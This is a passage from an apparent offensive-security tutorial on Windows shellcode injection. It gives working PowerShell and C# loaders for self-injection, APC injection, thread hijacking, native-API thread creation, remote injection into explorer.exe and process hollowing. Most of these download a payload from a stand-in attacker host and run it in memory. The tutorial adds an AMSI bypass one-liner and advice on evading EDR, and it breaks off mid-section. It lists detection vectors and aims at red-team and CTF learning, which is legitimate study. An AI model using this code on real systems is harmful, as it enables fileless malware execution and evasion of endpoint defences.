ᛉ Yggdrasil

Malware development

Windows Shellcode Injection Techniques

15 Sep 2026 · 7,327 words · 33 min

Contents

Legend: [INJECT] = Process injection method | [ALLOC] = Memory allocation | [EXEC] = Execution mechanism | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique


1. What is Shellcode Injection

What it means: Shellcode injection is the process of loading shellcode (raw compiled machine code) into a running process's memory and executing it. Unlike traditional executable files (EXE) that are loaded by the Windows loader, shellcode is raw bytes that are:

  1. Allocated in memory as executable
  2. Copied byte-for-byte into that memory region
  3. Executed via thread creation or direct invocation
  4. Completely bypasses disk writing and file signatures

Why it matters for red teaming:

Scenario Traditional Method Injection Method
Run malware on defended system Download EXE → Defender blocks file Load shellcode in-memory → No file to detect
Evade signature detection Binary flagged by AV signature Shellcode has no signature match (new payload)
Maintain persistence Write backdoor to disk Inject into running process → no forensic footprint
Execute post-exploitation tool Upload tool.exe → AppLocker blocks Inject shellcode → already in process memory

Shellcode sources:

  • Donut — converts PE (EXE/DLL) → position-independent shellcode
  • Msfvenom — generates payload shellcode (meterpreter, reverse shell, etc.)
  • Scarecrow — generates obfuscated, evasive shellcode
  • Custom — hand-written assembly for specific tasks
  • C2 frameworks — Havoc, Cobalt Strike, Sliver generate native shellcode

2. Memory Allocation Fundamentals

What it means: Before executing shellcode, you must allocate memory with specific permissions (readable, writable, executable). Windows provides several APIs, each with different evasion characteristics.

2.1 Memory Protection Flags

// Windows memory page protection constants
PAGE_NOACCESS = 0x0001          // No access (invalid)
PAGE_READONLY = 0x0002          // Read-only
PAGE_READWRITE = 0x0004         // Read + Write
PAGE_WRITECOPY = 0x0008         // Write-copy
PAGE_EXECUTE = 0x0010           // Execute-only
PAGE_EXECUTE_READ = 0x0020      // Execute + Read
PAGE_EXECUTE_READWRITE = 0x0040 // Execute + Read + Write (RWX)
PAGE_EXECUTE_WRITECOPY = 0x0080 // Execute + Write-copy

// Memory allocation flags
MEM_COMMIT = 0x1000   // Commit pages (actually allocate)
MEM_RESERVE = 0x2000  // Reserve address space
MEM_RESET = 0x80000   // Reset pages (discard contents)
MEM_LARGE_PAGES = 0x20000000  // Use large pages

// Combined flags for shellcode:
0x3000 = MEM_COMMIT | MEM_RESERVE (full allocation)
0x0040 = PAGE_EXECUTE_READWRITE (RWX permissions)

2.2 Allocation Methods Comparison

API Kernel Level EDR Visibility Speed Common Use
VirtualAlloc Win32 wrapper High (hooked) Fast Baseline injections
VirtualAllocEx Win32 wrapper High (hooked) Fast Remote process
RtlAllocateHeap Native (ntdll) Medium (less common) Fast Stealth allocation
NtAllocateVirtualMemory Native syscall Low (direct kernel) Medium Direct syscalls
HeapAlloc Win32 wrapper High (hooked) Medium Heap-based injection
MapViewOfFile Win32 wrapper High (hooked) Slow File-mapped memory

Key principle: EDR hooks Win32 APIs (VirtualAlloc, CreateThread, WriteProcessMemory). Using native APIs (ntdll) bypasses hooks but is riskier.


3. VirtualAlloc + CreateThread (Baseline)

What it means: The most straightforward injection method — allocate RWX memory, copy shellcode, create a thread pointing to it. This is what you used in your CTF.

3.1 Basic Implementation

# P/Invoke: Declare kernel32 APIs
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,           // Start address (0 = OS chooses)
    uint dwSize,                // Size to allocate
    uint flAllocationType,      // MEM_COMMIT | MEM_RESERVE = 0x3000
    uint flProtect              // PAGE_EXECUTE_READWRITE = 0x40
);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes,  // Security attributes (null)
    uint dwStackSize,           // Stack size (0 = default)
    IntPtr lpStartAddress,      // Thread entry point (shellcode address)
    IntPtr lpParameter,         // Argument to thread (null)
    uint dwCreationFlags,       // 0 = run immediately
    out uint lpThreadId         // OUT: thread ID
);

[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@

# Add the P/Invoke methods to PowerShell
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

# Step 1: Download shellcode from C2
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Step 2: Allocate RWX memory
# 0x3000 = MEM_COMMIT | MEM_RESERVE
# 0x40 = PAGE_EXECUTE_READWRITE
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)

# Step 3: Copy shellcode bytes into allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Step 4: Create thread pointing to shellcode
$threadId = 0
$kernel32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)

# Step 5: Give thread time to execute
$kernel32::Sleep(2000)

3.2 Detailed Execution Flow

1. VirtualAlloc([IntPtr]::Zero, ...)
   ├─ Asks OS: "Allocate $shellcode.Length bytes"
   ├─ Returns pointer to newly allocated region
   ├─ [IntPtr]::Zero = "OS pick any free address" (ASLR safe)
   └─ Returns: 0x00007FF700001000 (example)

2. Marshal.Copy($shellcode, 0, $mem, ...)
   ├─ $shellcode = byte array from network (131KB)
   ├─ $mem = allocated address (0x00007FF700001000)
   ├─ Copies: shellcode[0] → mem[0], shellcode[1] → mem[1], ...
   └─ Result: Memory region now contains executable payload

3. CreateThread(..., $mem, ...)
   ├─ Tells OS: "Create new thread starting at address 0x00007FF700001000"
   ├─ OS creates THREAD structure, loads it into process
   ├─ Sets RIP (instruction pointer) = 0x00007FF700001000
   ├─ Scheduler picks the thread to run
   └─ Thread starts executing shellcode

4. Sleep(2000)
   ├─ Pauses PowerShell for 2000ms
   ├─ Gives shellcode time to initialize and callback
   └─ Without this, PowerShell might exit before callback completes

3.3 What Happens When Shellcode Runs

Assuming shellcode is a beacon (Havoc/Sliver/Metasploit):

Shellcode execution:
├─ Initialize loader (if reflective DLL)
├─ Resolve API functions (GetProcAddress, LoadLibrary)
├─ Set up command & control communication
├─ Establish callback to C2 server (192.168.1.100:8080)
├─ Receive commands from operator
├─ Execute tasked commands (whoami, upload, etc.)
└─ Repeat callback loop until terminated

3.4 Why This Method Works (And Doesn't)

Pros: - ✅ Simple, reliable, works on most systems - ✅ Very fast execution - ✅ No disk writes (file signature evasion) - ✅ Works with any shellcode

Cons: - ❌ EDR hooks CreateThread → easily detected - ❌ RWX memory allocation is obvious behavior - ❌ New thread creation is logged and monitored - ❌ VirtualAlloc is heavily hooked by EDR - ⚠️ Most basic technique, most well-known pattern

Detection vectors: - Event ID 3 (Process creation) shows new thread - EDR hooks on CreateThread API - Memory scanner sees RWX region - Sysmon Event ID 8 (CreateRemoteThread)

3.5 Optimization: Combine with AMSI Bypass

# Before injecting shellcode, disable AMSI so PowerShell doesn't scan it
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Now inject shellcode (AMSI won't detect it)
# ... VirtualAlloc + CreateThread code ...

4. VirtualAlloc + QueueUserAPC

What it means: Instead of creating a NEW thread, execute shellcode in an EXISTING thread's context via Asynchronous Procedure Call (APC). This avoids the obvious "new thread creation" detection pattern.

4.1 APC Fundamentals

APC (Asynchronous Procedure Call): A callback that executes in a thread's context when the thread enters an "alertable" state. Common alertable states:

  • WaitForSingleObject() / WaitForMultipleObjects()
  • Sleep() / SleepEx()
  • ReadFile(), WriteFile() (I/O operations)
  • MsgWaitForMultipleObjects() (message loops)
  • SignalObjectAndWait()

Why it's stealthier: No new thread spawning, executes within existing thread.

4.2 Implementation

$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();

[DllImport("kernel32.dll")]
public static extern bool QueueUserAPC(
    IntPtr pfnAPC,              // Function pointer (shellcode address)
    IntPtr hThread,             // Target thread handle
    IntPtr dwData               // Parameter to pass (null)
);

[DllImport("kernel32.dll")]
public static extern uint SleepEx(
    uint dwMilliseconds,        // Sleep duration
    bool bAlertable             // TRUE = make thread alertable
);
"@

$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Allocate RWX memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)

# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Get current thread handle
$thread = $kernel32::GetCurrentThread()

# Queue APC on current thread
$kernel32::QueueUserAPC($mem, $thread, [IntPtr]::Zero)

# Make thread alertable to execute APC
$kernel32::SleepEx(2000, $true)  # bAlertable = $true

4.3 Execution Flow

PowerShell process:
├─ Main thread (waiting in SleepEx)
├─ APC Queue: [EMPTY]
│
├─ QueueUserAPC($shellcode_address, $main_thread, null)
│  └─ APC Queue: [$shellcode_address]
│
├─ SleepEx(2000, $true)  ← bAlertable = $true
│  ├─ Thread checks APC queue
│  ├─ Finds APC queued → execute it
│  ├─ Sets RIP = $shellcode_address
│  ├─ Shellcode runs in context of main thread
│  └─ After APC completes, thread resumes SleepEx
│
└─ Continue (shellcode still running)

4.4 Why This Is Stealthier

Pros: - ✅ No new thread creation (CreateThread not called) - ✅ No "new thread" in logs - ✅ Executes within PowerShell's existing thread - ✅ Harder for behavioral detection (less obvious) - ✅ Avoids Sysmon Event ID 8 (CreateRemoteThread)

Cons: - ⚠️ Thread must be alertable (requires Sleep/wait call) - ⚠️ If thread is blocked in non-alertable operation, APC doesn't execute - ❌ QueueUserAPC still hooked by EDR - ❌ APC injection is a known technique

Detection vectors: - EDR hooks on QueueUserAPC - API call sequence (SleepEx + QueueUserAPC together is suspicious) - Memory allocation pattern (RWX still obvious)

4.5 Practical Tip: Self-Injection

# Why queue APC on current thread?
# → Avoid cross-process access (simpler, fewer permissions needed)
# → Still avoids CreateThread detection
# → Shellcode runs immediately in PowerShell context

5. VirtualAlloc + SetThreadContext

What it means: Suspend an existing thread, modify its execution context (CPU registers), and resume. This "hijacks" the thread to execute shellcode.

5.1 Thread Context Structure

// x64 CONTEXT structure (simplified)
typedef struct _CONTEXT {
    DWORD64 Rax, Rbx, Rcx, Rdx, ...;  // General-purpose registers
    DWORD64 Rsp;                       // Stack pointer
    DWORD64 Rip;                       // Instruction pointer ← WE MODIFY THIS
    // ... more fields ...
} CONTEXT, *PCONTEXT;

Key register: Rip (Instruction Pointer) — CPU executes whatever address is in Rip next.

5.2 Implementation (Simplified)

$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    out uint lpThreadId
);

[DllImport("kernel32.dll")]
public static extern bool SuspendThread(IntPtr hThread);

[DllImport("kernel32.dll")]
public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);

[DllImport("kernel32.dll")]
public static extern bool ResumeThread(IntPtr hThread);

// CONTEXT structure (x64) — simplified
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT {
    public ulong P1Home;
    public ulong P2Home;
    public ulong P3Home;
    public ulong P4Home;
    public ulong P5Home;
    public ulong P6Home;
    public uint ContextFlags;
    public uint MxCsr;

    // ... skipping XMM registers ...

    public ulong Rax;
    public ulong Rcx;
    public ulong Rdx;
    public ulong Rbx;
    public ulong Rsp;
    public ulong Rbp;
    public ulong Rsi;
    public ulong Rdi;
    public ulong R8;
    public ulong R9;
    public ulong R10;
    public ulong R11;
    public ulong R12;
    public ulong R13;
    public ulong R14;
    public ulong R15;
    public ulong Rip;  // ← INSTRUCTION POINTER (we modify this)
    // ... more fields ...
}
"@

$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Allocate memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Create thread (but in suspended state)
$hThread = [IntPtr]::Zero
$threadId = 0
$kernel32::CreateRemoteThread([Diagnostics.Process]::GetCurrentProcess().Handle, 
    [IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 4, [ref]$threadId)  # 4 = CREATE_SUSPENDED

# Suspend thread
$kernel32::SuspendThread($hThread)

# Modify thread context (Rip = shellcode address)
$context = [PSObject]::new()
$context.Rip = $mem  # Make CPU jump to shellcode

# Set context
$contextPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($context))
[System.Runtime.InteropServices.Marshal]::StructureToPtr($context, $contextPtr, $false)
$kernel32::SetThreadContext($hThread, $contextPtr)

# Resume thread (CPU jumps to shellcode)
$kernel32::ResumeThread($hThread)

[System.Runtime.InteropServices.Marshal]::FreeHGlobal($contextPtr)

5.3 Why This Is Complex

Pros: - ✅ Thread hijacking is creative (less obvious pattern) - ✅ Avoids traditional CreateThread detection

Cons: - ❌ CONTEXT structure manipulation is complex - ❌ SetThreadContext is hooked by EDR - ❌ Requires accurate CONTEXT structure (differs x86 vs x64) - ❌ Unstable if thread resumes at wrong state - ❌ High detection risk if misconfigured - ⚠️ Not recommended for CTF — use simpler methods first

Detection vectors: - EDR hooks on SuspendThread/SetThreadContext/ResumeThread - Sequence detection (suspend → set context → resume looks like hijacking) - Memory allocation pattern

When to use: Advanced evasion scenarios, when CreateThread is explicitly blocked.


6. RtlCreateUserThread (Native API)

What it means: Instead of using Win32's CreateThread (which is hooked by EDR), use the native ntdll function RtlCreateUserThread. This is a direct NTDLL export, less monitored than Win32 wrappers.

6.1 Native API Concept

Win32 API (Hooked by EDR):
CreateThread() → [EDR Hook] → NtCreateThreadEx() → Kernel

Native API (Less Hooked):
RtlCreateUserThread() → [Possibly hooked, but less common] → NtCreateThreadEx() → Kernel
NtCreateThreadEx() → [Possibly hooked] → Kernel

Direct Syscall (Minimal Hooks):
syscall(NtCreateThreadEx) → [Hard to hook] → Kernel

6.2 RtlCreateUserThread Implementation

$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("ntdll.dll")]
public static extern uint RtlCreateUserThread(
    IntPtr ProcessHandle,           // Process handle
    IntPtr ThreadSecurityDescriptor, // Security (null)
    bool CreateSuspended,           // Suspended (false = run immediately)
    uint ZeroBits,                  // Reserved (0)
    IntPtr MaximumStackSize,        // Stack size (null = default)
    IntPtr CommittedStackSize,      // Committed stack (null = default)
    IntPtr StartAddress,            // Thread entry point (shellcode address)
    IntPtr Parameter,               // Argument (null)
    out IntPtr ThreadHandle,        // OUT: thread handle
    out IntPtr ClientId             // OUT: client ID structure
);

[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
"@

$ntdll = Add-Type -MemberDefinition $code -Name "Ntdll" -Namespace "Win32" -PassThru

# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Allocate memory
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Make memory executable using VirtualAlloc alternative
$kernel32Code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$kernel32 = Add-Type -MemberDefinition $kernel32Code -Name "Kernel32" -Namespace "Win32" -PassThru

# Mark region as executable
$oldProtect = 0
$kernel32::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$oldProtect)

# Get current process handle
$procHandle = $ntdll::GetCurrentProcess()

# Create thread using native API
$threadHandle = [IntPtr]::Zero
$clientId = [IntPtr]::Zero
$ntdll::RtlCreateUserThread($procHandle, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, 
    $mem, [IntPtr]::Zero, [ref]$threadHandle, [ref]$clientId)

# Thread is now running
Start-Sleep -Milliseconds 2000

6.3 Why RtlCreateUserThread is Stealthier

Pros: - ✅ Bypasses Win32 hook (RtlCreateUserThread is native) - ✅ Less commonly monitored than CreateThread - ✅ Direct to NTDLL (fewer interception points) - ✅ Same result as CreateThread but at lower level

Cons: - ⚠️ NTDLL functions can still be hooked (just less common) - ❌ Memory allocation is still obvious - ❌ Some modern EDR still hooks RtlCreateUserThread - ⚠️ NTDLL exports vary by Windows version

Detection vectors: - EDR might still hook RtlCreateUserThread - API call sequence (unusual for PowerShell) - Memory allocation (RWX still visible)

6.4 When to Use

  • ✅ When CreateThread specifically is hooked/blocked
  • ✅ When you want to avoid Win32 API hooks
  • ✅ When targeting systems with EDR that only hooks Win32 layer
  • ⚠️ Not reliable against advanced EDR (they hook NTDLL too)

7. Remote Process Injection (WriteProcessMemory)

What it means: Instead of injecting into PowerShell's own process, inject shellcode into a DIFFERENT process (explorer.exe, notepad.exe, svchost.exe). This hides the payload from the obvious PowerShell → beacon connection.

7.1 Core Concept

Traditional injection:
PowerShell.exe (attacker-controlled)
├─ Allocate RWX memory
├─ Load shellcode
├─ Create thread
└─ Shell callback comes from PowerShell (obvious!)

Remote injection:
PowerShell.exe (attacker-controlled)
│
└─ Open handle to Explorer.exe
   ├─ Allocate RWX memory (in Explorer's space)
   ├─ WriteProcessMemory (copy shellcode to Explorer)
   ├─ CreateRemoteThread (execute in Explorer)
   └─ Beacon callback comes from Explorer.exe (harder to attribute)

7.2 Implementation

$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(
    uint dwDesiredAccess,       // 0x001F0FFF = PROCESS_ALL_ACCESS
    bool bInheritHandle,        // false
    uint dwProcessId            // PID of target
);

[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAllocEx(
    IntPtr hProcess,            // Target process handle
    IntPtr lpAddress,           // Address (null)
    uint dwSize,                // Size
    uint flAllocationType,      // MEM_COMMIT | MEM_RESERVE
    uint flProtect              // PAGE_EXECUTE_READWRITE
);

[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(
    IntPtr hProcess,            // Target process handle
    IntPtr lpBaseAddress,       // Where to write
    byte[] lpBuffer,            // What to write (shellcode bytes)
    uint nSize,                 // How many bytes
    out int lpNumberOfBytesWritten  // OUT: bytes written
);

[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,            // Target process handle
    IntPtr lpThreadAttributes,  // Security (null)
    uint dwStackSize,           // Stack size (0)
    IntPtr lpStartAddress,      // Thread entry (shellcode address)
    IntPtr lpParameter,         // Argument (null)
    uint dwCreationFlags,       // 0 = run immediately
    out uint lpThreadId         // OUT: thread ID
);
"@

$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru

# Step 1: Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Step 2: Find target process (e.g., explorer.exe)
$targetProcess = Get-Process explorer | Select-Object -First 1
$targetPid = $targetProcess.Id
Write-Host "[*] Target PID: $targetPid"

# Step 3: Open handle to target process
# 0x001F0FFF = PROCESS_ALL_ACCESS
$hProcess = $kernel32::OpenProcess(0x001F0FFF, $false, $targetPid)
if ($hProcess -eq [IntPtr]::Zero) {
    Write-Host "[!] Failed to open process — need higher privileges!"
    exit
}
Write-Host "[+] Opened target process: 0x$($hProcess.ToString('X'))"

# Step 4: Allocate memory in target process
$allocAddr = $kernel32::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
if ($allocAddr -eq [IntPtr]::Zero) {
    Write-Host "[!] Failed to allocate memory"
    exit
}
Write-Host "[+] Allocated memory at: 0x$($allocAddr.ToString('X'))"

# Step 5: Write shellcode to target process memory
$bytesWritten = 0
$writeResult = $kernel32::WriteProcessMemory($hProcess, $allocAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if (-not $writeResult) {
    Write-Host "[!] Failed to write process memory"
    exit
}
Write-Host "[+] Wrote $bytesWritten bytes to target process"

# Step 6: Create thread in target process to execute shellcode
$threadId = 0
$threadHandle = $kernel32::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $allocAddr, [IntPtr]::Zero, 0, [ref]$threadId)
if ($threadHandle -eq [IntPtr]::Zero) {
    Write-Host "[!] Failed to create remote thread"
    exit
}
Write-Host "[+] Created remote thread ID: $threadId"
Write-Host "[*] Shellcode executing in process $targetPid..."

# Optional: Close handle (not necessary, but clean)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($hProcess)

7.3 Why Remote Injection is Powerful

Pros: - ✅ Beacon appears to come from Explorer/Notepad (legitimate process) - ✅ Hides PowerShell → C2 connection (harder to attribute) - ✅ Survives PowerShell session termination - ✅ Better persistence (shell continues if PowerShell closes) - ✅ Process masquerading (looks like explorer.exe in logs)

Cons: - ❌ Requires elevated privileges (to open explorer.exe) - ❌ WriteProcessMemory is heavily hooked by EDR - ❌ Cross-process injection is primary EDR detection pattern - ❌ Sysmon Event ID 8 (CreateRemoteThread) triggers on this - ⚠️ EDR specifically looks for suspicious processes opening others

Detection vectors: - Sysmon Event ID 8: CreateRemoteThread activity - EDR hooks on OpenProcess + VirtualAllocEx + WriteProcessMemory - API call sequence (PowerShell → Explorer with memory write) - Behavioral: PowerShell touching Explorer's memory (very suspicious)

7.4 Target Process Selection

# Good targets (legitimate, common):
explorer.exe        # Always running, user-level
notepad.exe         # Legitimate but obvious
svchost.exe         # System process (harder to detect)
searchindexer.exe   # System service
wsmprovhost.exe     # PowerShell host
wmpnetwk.exe        # Windows Media Player

# Bad targets (suspicious):
calc.exe            # Too obvious
cmd.exe             # Would spawn new process
powershell.exe      # Circular, obvious

# Best practice:
# Use process that's ALWAYS running, LEGITIMATE, and HARD TO MONITOR

7.5 Privilege Requirement

# Check current privilege level
[Security.Principal.WindowsIdentity]::GetCurrent().Owner

# S-1-5-21-...-512 = Admin/System
# S-1-5-21-...-1000+ = Regular user (can't open explorer.exe)

# If not admin:
# Option 1: Use privilege escalation first
# Option 2: Inject into process you own (powershell.exe)
# Option 3: Use AppContainer isolation bypass

8. Process Hollowing

What it means: Process hollowing is an advanced technique where you:

  1. Create a "legitimate" process in SUSPENDED state (e.g., notepad.exe)
  2. Unmap its original memory image (using NtUnmapViewOfSection)
  3. Allocate new memory and write malicious binary instead
  4. Resume the process (now executing malware from trusted binary)

8.1 Concept

Traditional Process Creation:
notepad.exe
├─ Loader reads PE header
├─ Allocates memory for notepad code
├─ Loads notepad.exe into memory
├─ Creates thread → notepad starts
└─ [Obviously a legitimate process]

Process Hollowing:
notepad.exe
├─ Create in SUSPENDED state
├─ Unmap notepad's memory (NtUnmapViewOfSection)
├─ Allocate new memory
├─ Write MALWARE binary instead of notepad
├─ Resume thread
└─ [Appears to be notepad.exe, but runs malware!]

8.2 Implementation (Simplified C# Version)

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class ProcessHollowing {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CreateProcessA(
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation
    );

    [DllImport("ntdll.dll")]
    public static extern uint NtUnmapViewOfSection(IntPtr ProcessHandle, IntPtr BaseAddress);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);

    [DllImport("kernel32.dll")]
    public static extern uint ResumeThread(IntPtr hThread);

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public ushort wShowWindow;
        public ushort cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct CONTEXT {
        public uint ContextFlags;
        // ... truncated for brevity ...
        public ulong Rbx;
        public ulong Rsp;
        public ulong Rbp;
        // ... more fields ...
    }

    public static void HollowProcess(string targetExe, byte[] maliciousBinary) {
        // Step 1: Create process in suspended state
        STARTUPINFO si = new STARTUPINFO();
        si.cb = (uint)Marshal.SizeOf(si);

        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

        bool created = CreateProcessA(
            targetExe,
            null,
            IntPtr.Zero,
            IntPtr.Zero,
            false,
            0x4,  // CREATE_SUSPENDED
            IntPtr.Zero,
            null,
            ref si,
            out pi
        );

        if (!created) {
            Console.WriteLine("[!] Failed to create process");
            return;
        }

        Console.WriteLine($"[+] Created suspended process: PID {pi.dwProcessId}");

        // Step 2: Get thread context (to read entry point)
        CONTEXT ctx = new CONTEXT();
        ctx.ContextFlags = 0x100001;  // CONTEXT_INTEGER
        GetThreadContext(pi.hThread, ref ctx);

        // Step 3: Unmap original process image
        NtUnmapViewOfSection(pi.hProcess, new IntPtr(0x400000));  // Typical ImageBase
        Console.WriteLine("[+] Unmapped original process image");

        // Step 4: Allocate memory for malicious binary
        IntPtr allocAddr = VirtualAllocEx(pi.hProcess, new IntPtr(0x400000), 
            (uint)maliciousBinary.Length, 0x3000, 0x40);
        Console.WriteLine($"[+] Allocated memory at: 0x{allocAddr.ToString("X")}");

        // Step 5: Write malicious binary
        int bytesWritten = 0;
        WriteProcessMemory(pi.hProcess, allocAddr, maliciousBinary, 
            (uint)maliciousBinary.Length, out bytesWritten);
        Console.WriteLine($"[+] Wrote {bytesWritten} bytes");

        // Step 6: Update thread context (entry point to malware)
        ctx.Rbx = (ulong)allocAddr.ToInt64();  // or appropriate register
        SetThreadContext(pi.hThread, ref ctx);
        Console.WriteLine("[+] Updated thread context");

        // Step 7: Resume thread (now runs malware)
        ResumeThread(pi.hThread);
        Console.WriteLine("[+] Resumed thread — malware executing!");
    }
}

8.3 Why Process Hollowing is Powerful

Pros: - ✅ Binary appears to be legitimate (notepad.exe) - ✅ Process image is completely replaced (hard to detect) - ✅ Parent-child relationship looks legitimate - ✅ Bypasses some file-based detection (binary on disk is legit)

Cons: - ❌ Very complex implementation (many APIs, structure manipulation) - ❌ NtUnmapViewOfSection is heavily monitored - ❌ Memory manipulation sequence is obvious to EDR - ❌ Modern EDR specifically detects hollowing pattern - ❌ Sysmon Event ID 8/10 (CreateRemoteThread + WriteProcessMemory) - ⚠️ Not reliable against modern Defender/EDR

Detection vectors: - NtUnmapViewOfSection + VirtualAllocEx sequence - SetThreadContext on suspended process - Behavior: PE header at 0x400000, then unmap/rewrite - EDR has specific signatures for hollowing

8.4 When to Use

  • ⚠️ Legacy systems (older Windows, no EDR)
  • ✅ Lab/CTF environments
  • ❌ NOT for real engagements (too obvious now)

9. Inline Shellcode Execution (No Thread)

What it means: Execute shellcode synchronously in the current thread, WITHOUT creating a new thread. This minimizes thread-creation detection but blocks PowerShell until shellcode completes.

9.1 Implementation

# Minimal API surface — just allocate, copy, execute
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")

# Allocate memory
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)

# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)

# Mark as executable
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$oldProtect = 0
$kernel32::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$oldProtect)

# Create delegate pointing to shellcode
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])

# Execute directly
& $delegate  # PowerShell blocks here until shellcode returns

9.2 Execution Flow

PowerShell execution:
├─ Allocate memory → 0x00007FF700001000
├─ Copy shellcode bytes into memory
├─ Create [Action] delegate pointing to 0x00007FF700001000
├─ Invoke delegate via & $delegate
│  │
│  └─ CPU jumps to 0x00007FF700001000
│     ├─ Shellcode initialization
│     ├─ Shellcode runs
